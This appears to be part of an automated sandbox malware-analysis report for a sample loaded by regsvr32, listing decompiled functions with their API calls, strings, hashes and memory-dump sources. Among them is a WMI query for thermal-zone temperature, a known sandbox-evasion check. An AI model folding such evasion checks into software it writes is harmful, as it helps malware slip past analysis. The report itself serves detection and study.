Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: old_left_len >= count$assertion failed: old_right_len + count <= CAPACITY
API String ID: 3510742995-1889375005
Opcode ID: 25c7edcc28e26dc75dd12578fd1e4b79a647db9abb7eecff5e63fc5b893f682c
Instruction ID: 90b1407942d8f035b2419d30a6c4363e898866e8906a65bf9123c0048f5988c6
Opcode Fuzzy Hash: 25c7edcc28e26dc75dd12578fd1e4b79a647db9abb7eecff5e63fc5b893f682c
Instruction Fuzzy Hash: C302E875E016099FDB14CFA8C880AEEB7B1FF99304F14566EE809BB742EB309945CB51

Function 6C9281A0 Relevance: 12.3, APIs: 2, Strings: 6, Instructions: 318COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C9284FB
memcpy.MSVCRT(00000001,?,00000001,00000000,00000001,+NaNinf00e00E0assertion failed: ndigits > 0,00000001,?,assertion failed: parts.len() >= 6,00000022,6C98F300,assertion failed: buf[0] > b'0',0000001F,6C98F2CC,assertion failed: !buf.is_empty(),00000021), ref: 6C92851C

Strings

eEe-E--+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C928371
assertion failed: parts.len() >= 4, xrefs: 6C9282BB
assertion failed: parts.len() >= 6, xrefs: 6C9283FD
.0., xrefs: 6C9281F4, 6C92826A, 6C92832F
assertion failed: buf[0] > b'0', xrefs: 6C9282AA, 6C9283EC
assertion failed: !buf.is_empty(), xrefs: 6C928299, 6C9283DB

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpymemset
String ID: .0.$assertion failed: !buf.is_empty()$assertion failed: buf[0] > b'0'$assertion failed: parts.len() >= 4$assertion failed: parts.len() >= 6$eEe-E--+NaNinf00e00E0assertion failed: ndigits > 0
API String ID: 1297977491-753802538
Opcode ID: 4597d7be1e16bd283a480e31d26b64e234b55a3fea402fd03c5383300bcaeaf4
Instruction ID: 4ea97965304b1048d33b0673b87b5f6668015621f05c4a70acb68ffa133a39fc
Opcode Fuzzy Hash: 4597d7be1e16bd283a480e31d26b64e234b55a3fea402fd03c5383300bcaeaf4
Instruction Fuzzy Hash: B3C139B3A112208BD7188F49C444F9A77A9FF8031CF16859BD8885FB6AC3B9D845C7C9

Function 02633F50 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02633F55
SetLastError.KERNEL32(0000139F,?,02645054,02633628), ref: 02634044

Part of subcall function 02632B80: SwitchToThread.KERNEL32 ref: 02632BAA

send.WS2_32(?,02647440,00000010,00000000), ref: 02633FB6
SetEvent.KERNEL32(?), ref: 02633FD9
InterlockedExchange.KERNEL32(?,00000000), ref: 02633FE5
WSACloseEvent.WS2_32(?), ref: 02633FF3
shutdown.WS2_32(?,00000001), ref: 0263400B
closesocket.WS2_32(?), ref: 02634015

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: EventThread$CloseCurrentErrorExchangeInterlockedLastSwitchclosesocketsendshutdown
String ID:
API String ID: 518013673-0
Opcode ID: 226028498a9f73032f8eaa01657bd0743361eb9b9a8cf7e4e8a02d42a4a9bc03
Instruction ID: 5c16462f094f6b8bb7ce9f0413b3ce538c3da2e6d28ccaac1b86be7fbc806b16
Opcode Fuzzy Hash: 226028498a9f73032f8eaa01657bd0743361eb9b9a8cf7e4e8a02d42a4a9bc03
Instruction Fuzzy Hash: A0215575640B009BD3319F68D888B9BB7F9BB44B14F900D0CE2938B780CBB5E895CB90

Function 6C8D4600 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8D4719
GetEnvironmentVariableW.KERNEL32(?,00000002,00000000,00000000), ref: 6C8D4724
GetLastError.KERNEL32(00000200,?,00000000,00000000,?,00000002,00000000,00000000), ref: 6C8D472F
GetLastError.KERNEL32(00000200,?,00000000,00000000,?,00000002,00000000,00000000), ref: 6C8D4740

Strings

environment variable not foundenvironment variable was not valid unicode: , xrefs: 6C8D4967

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: environment variable not foundenvironment variable was not valid unicode:
API String ID: 2691138088-3632183283
Opcode ID: 240066c2dd122f054f53c1758424f3b9761e5a561f991ea3a5d9fc072b1eec15
Instruction ID: 896fbbfa27bc1188e0145cc679e64d9f346d149cb28cbcdbbcfc408f9dc1f732
Opcode Fuzzy Hash: 240066c2dd122f054f53c1758424f3b9761e5a561f991ea3a5d9fc072b1eec15
Instruction Fuzzy Hash: 79A1F1B5904300AFE720CF24DD81B9ABBE4AFC4708F154D28F898A7751E775E958CB92

Function 6C8BCA10 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?), ref: 6C8BCA8A
memmove.MSVCRT(00000005,?,00000000), ref: 6C8BCAA2
memcpy.MSVCRT(?,?,?), ref: 6C8BCAE9
memcpy.MSVCRT(?,00000001,?), ref: 6C8BCB0A
memmove.MSVCRT(?,?,00000000), ref: 6C8BCC8F
memcpy.MSVCRT(?,?,?), ref: 6C8BCCAE

Strings

assertion failed: old_left_len >= count, xrefs: 6C8BCD02

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpymemmove
String ID: assertion failed: old_left_len >= count
API String ID: 167125708-4051586546
Opcode ID: 5345edf0fcae3003e8c972bf54e227368fa73f4d85a8ada5c7ecdf344a66f09e
Instruction ID: d64e5ef82f80d5ee769e5f02b382e9142faa625e19bb62d60d741368d6c62613
Opcode Fuzzy Hash: 5345edf0fcae3003e8c972bf54e227368fa73f4d85a8ada5c7ecdf344a66f09e
Instruction Fuzzy Hash: 45A18375D00E1A8BDB15CF68C850AEEB7B5FF99344F14436AD8097B202DB31EA56CB90

Function 6C8F2320 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8F23C0
GetModuleFileNameW.KERNEL32(00000000,00000002,00000000,00000000), ref: 6C8F23C9
GetLastError.KERNEL32(00000000,00000002,00000000,00000000,00000000,00000002,00000000,00000000), ref: 6C8F23D4
GetLastError.KERNEL32(00000000,00000002,00000000,00000000,00000000,00000002,00000000,00000000), ref: 6C8F23E1
GetLastError.KERNEL32(00000000,00000002,00000000,00000000,00000000,00000002,00000000,00000000), ref: 6C8F2457
SetCurrentDirectoryW.KERNEL32(?), ref: 6C8F2505
GetLastError.KERNEL32(?), ref: 6C8F2530

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName
String ID:
API String ID: 1505103792-0
Opcode ID: ba07fdfb4d89320fc64c8a51aa30894ed355b20b697755ffc137707017584348
Instruction ID: 39a5a44bda171f4e1421cb4669711ed20e9156404dd10a420fd60e3908ae91d8
Opcode Fuzzy Hash: ba07fdfb4d89320fc64c8a51aa30894ed355b20b697755ffc137707017584348
Instruction Fuzzy Hash: 5F5126B1D002499BEB20DFA8CD89BEFB7B4BF15348F140924E824B7740E7798D0587A1

Function 04F81F05 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04F81F4D
_free.LIBCMT ref: 04F81F8B
_free.LIBCMT ref: 04F81FCA
_free.LIBCMT ref: 04F8200A
_free.LIBCMT ref: 04F82032
_free.LIBCMT ref: 04F82056
_free.LIBCMT ref: 04F8208E

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bc655f66725c4cc28e72ea1f37ef93ba4951298a8b79aa7d8469c82ae5f96c9d
Instruction ID: 28a87a5a082ea87a084897c1f5940c228b887a3b5a8ed4a56030294f61500e43
Opcode Fuzzy Hash: bc655f66725c4cc28e72ea1f37ef93ba4951298a8b79aa7d8469c82ae5f96c9d
Instruction Fuzzy Hash: C55119B6A00115CFD714EF58D984869BBA6FF8831872A81BDD50A5F322D732BC43CB91

Function 02631830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02631878
_free.LIBCMT ref: 026318B6
_free.LIBCMT ref: 026318F5
_free.LIBCMT ref: 02631935
_free.LIBCMT ref: 0263195D
_free.LIBCMT ref: 02631981
_free.LIBCMT ref: 026319B9

Part of subcall function 02637009: HeapFree.KERNEL32(00000000,00000000,?,02639A24,00000000,?,0263A0B0,?,00000001,?,?,0263C10B,00000018,02647C70,0000000C,0263C19B), ref: 0263701F
Part of subcall function 02637009: GetLastError.KERNEL32(00000000,?,02639A24,00000000,?,0263A0B0,?,00000001,?,?,0263C10B,00000018,02647C70,0000000C,0263C19B,?), ref: 02637031

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5475982ba0b8bf660b958cb985a83a4e899beb0cdc9510cdb5514797786fc4fb
Instruction ID: a1fb11c9c27f8747c38229c1b023cef3c7bdb3609eb6db68df17c0708875c0f4
Opcode Fuzzy Hash: 5475982ba0b8bf660b958cb985a83a4e899beb0cdc9510cdb5514797786fc4fb
Instruction Fuzzy Hash: 53513BB6A00115CFC706DF48C480969BBB6FF8A31872980AED54E6B351D732EC42CF91

Function 02639BEA Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(02645EB4,?,02637822,02647B80,00000014), ref: 02639BF2
__mtterm.LIBCMT ref: 02639BFE

Part of subcall function 026398C9: RtlDecodePointer.NTDLL(026491C8), ref: 026398DA
Part of subcall function 026398C9: TlsFree.KERNEL32(026491CC,02639D60,?,02637822,02647B80,00000014), ref: 026398F4
Part of subcall function 026398C9: _free.LIBCMT ref: 0263C070

TlsAlloc.KERNEL32(?,02637822,02647B80,00000014), ref: 02639C8B
__init_pointers.LIBCMT ref: 02639CB0
__calloc_crt.LIBCMT ref: 02639D1E
GetCurrentThreadId.KERNEL32 ref: 02639D4A

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: a8b9ed24eb4b7dfcb820ff44d9dfa037647e7c264feb23903140c9d9c7825ae4
Instruction ID: eecb5f1c708fffb81968668adb625a0434bf4bca12fc83205923ca20ca8c5ea1
Opcode Fuzzy Hash: a8b9ed24eb4b7dfcb820ff44d9dfa037647e7c264feb23903140c9d9c7825ae4
Instruction Fuzzy Hash: BD318F39D813159BD72AAF75F84861EBBE5AB403287142D1AE481C3390DBB4D0B1CF40

Function 6C861E90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(WQL), ref: 6C861EB2
SysAllocString.OLEAUT32(SELECT * FROM MSAcpi_ThermalZoneTemperature), ref: 6C861EC1
SysFreeString.OLEAUT32(00000000), ref: 6C861EE3
SysFreeString.OLEAUT32(?), ref: 6C861EEB

Part of subcall function 6C892680: SysFreeString.OLEAUT32(8904C483), ref: 6C89268D

Strings

SELECT * FROM MSAcpi_ThermalZoneTemperature, xrefs: 6C861EBC
WQL, xrefs: 6C861EAD

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: String$Free$Alloc
String ID: SELECT * FROM MSAcpi_ThermalZoneTemperature$WQL
API String ID: 986138563-2989581318
Opcode ID: 100ef789db2e76685ec82bab2144961be6500448f6b33dce41eea9477e28ef39
Instruction ID: 474ae3c8aa4e1ece6205c27d90242b37d8709982c0823f819fcb26c6e02b9d55
Opcode Fuzzy Hash: 100ef789db2e76685ec82bab2144961be6500448f6b33dce41eea9477e28ef39
Instruction Fuzzy Hash: 9421D8B1C016099BCB11DFA9C945EEFF7B8BF54308F108925E4197BA01E774E948CBA1

Function 6C892240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 6C892255
SysStringLen.OLEAUT32 ref: 6C89225D
SysAllocStringLen.OLEAUT32(?,00000000), ref: 6C892272
SysStringLen.OLEAUT32(00000000), ref: 6C89227E
SysFreeString.OLEAUT32(00000000), ref: 6C8922A7

Strings

called `Result::unwrap()` on an `Err` valueObject has been over-released., xrefs: 6C8922C5, 6C8923B2

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: String$AllocFree
String ID: called `Result::unwrap()` on an `Err` valueObject has been over-released.
API String ID: 344208780-2674442498
Opcode ID: 6fae7ea3824f581ea6d227adc872b497279036be2c0aae54b70c385544ee28b6
Instruction ID: 54eb170c85a8f54738043b84adf5698c859832725c14c3163677b579f12d58ad
Opcode Fuzzy Hash: 6fae7ea3824f581ea6d227adc872b497279036be2c0aae54b70c385544ee28b6
Instruction Fuzzy Hash: 4211E9B29022156BEB2096AD5E449EFB29CAFA111CF510934EC14F7B01EB78CD0981F3

Function 6C8A68A0 Relevance: 10.4, APIs: 8, Instructions: 369COMMON

Download Yara Rule

APIs

Part of subcall function 6C8A6140: memcpy.MSVCRT(?,?,00000404), ref: 6C8A6275

memcpy.MSVCRT(?,?,00000408), ref: 6C8A68F3
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A699A
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6A3A
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6ADA
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6B7A
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6C1A
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6CBA
memcpy.MSVCRT(?,00000000,00000408), ref: 6C8A6D56

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 53365d4b4b8d99eb170c4abb3071092a4bec8040746d4f892d840d5623b3b803
Instruction ID: 29be121dff3f8b60964de6edd74427179a57fd41fa9e01faf07dcf754a7e4c1b
Opcode Fuzzy Hash: 53365d4b4b8d99eb170c4abb3071092a4bec8040746d4f892d840d5623b3b803
Instruction Fuzzy Hash: 1BE1B872D01A1D9BCB21CF68CD415EFB3B5FF4A389F144658E91977201D731AA4ACBA0

Function 6C903CE0 Relevance: 10.2, APIs: 8, Instructions: 153COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(-00000001,00000000,?,00000000,00000000,?,6C8EAD6B,00000000,?,6C8F53E6), ref: 6C903CF9
TlsGetValue.KERNEL32(00000000,?,00000000,6C8F53E6), ref: 6C903D56
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,6C8F53E6), ref: 6C903D62
TlsGetValue.KERNEL32(00000000,6C8F53E6), ref: 6C903D93
TlsGetValue.KERNEL32(-00000001,00000000,00000000,00000000,00000000,?,00000004,0000000C,?,00000000,6C8F53E6), ref: 6C903DC5
TlsGetValue.KERNEL32(00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903DE7
TlsGetValue.KERNEL32(00000000,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903E38
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903E41

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3f41d1548ad7689dc379ca40caa105f1b5c847d26d3cb7c3287144f0a7a986a3
Instruction ID: c4ec0c9aadbaa37f386ac6b8f088b797b069dbe1f9c8849b5509be279884b168
Opcode Fuzzy Hash: 3f41d1548ad7689dc379ca40caa105f1b5c847d26d3cb7c3287144f0a7a986a3
Instruction Fuzzy Hash: B7414879701611AFE7104B788C40FAB7AADBF92A58F14453EEA08C7B41EBB1D814C6B1

Function 02635A30 Relevance: 9.2, APIs: 6, Instructions: 227timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,026491B4,00000000,?,00000000,026361A0,00000000), ref: 02635A75
InitializeCriticalSectionAndSpinCount.KERNEL32(026363A0,00000000), ref: 02635C6F
InitializeCriticalSectionAndSpinCount.KERNEL32(026363B8,00000000), ref: 02635C90
InitializeCriticalSectionAndSpinCount.KERNEL32(02636300,00000000), ref: 02635B14

Part of subcall function 02631280: __CxxThrowException@8.LIBCMT ref: 02631290
Part of subcall function 02631280: RtlDeleteCriticalSection.NTDLL(00000000), ref: 026312A1

InterlockedExchange.KERNEL32(026361B8,00000000), ref: 02635D01
timeGetTime.WINMM ref: 02635D07

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$CreateDeleteEventException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 2093779962-0
Opcode ID: 8672cec46af8d49efd9b81af274ef302f62f6ba3e7b3b38774ed336931d610ec
Instruction ID: da7cf0bbe77ae72cd9d4dfc49ab873426b51391d2e217b4bd9e436d0530b0521
Opcode Fuzzy Hash: 8672cec46af8d49efd9b81af274ef302f62f6ba3e7b3b38774ed336931d610ec
Instruction Fuzzy Hash: FFA102B0A01B46AFD315DF6AC88479AFBE8FB08304F90462EE16DC7640D774A964CF94

Function 6C946460 Relevance: 9.2, APIs: 6, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: c6149b8d1d5a460f3d99e611d74cf83ab812297ec4b6ba662c9854c5f5f10f99
Instruction ID: f6ee16f63be93efdf47bb246b5ee6e964bd5422c557f5149c0c85c375626280b
Opcode Fuzzy Hash: c6149b8d1d5a460f3d99e611d74cf83ab812297ec4b6ba662c9854c5f5f10f99
Instruction Fuzzy Hash: 63616AB15093088FC710CF19C08075ABBE8BF99708F44CA5EE898DBB59E734D94ACB56

Function 6C86F180 Relevance: 9.2, APIs: 6, Instructions: 180COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(-00000001,00000004,00000008,?,00000000,6C86BEF3), ref: 6C86F198
TlsGetValue.KERNEL32(00000000), ref: 6C86F219
TlsSetValue.KERNEL32(00000000,00000000,00000000), ref: 6C86F225
TlsGetValue.KERNEL32(00000000,?,00000004,00000008,?,00000000,6C86BEF3), ref: 6C86F256
memset.MSVCRT ref: 6C86F299
RtlGetVersion.NTDLL ref: 6C86F2B2

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

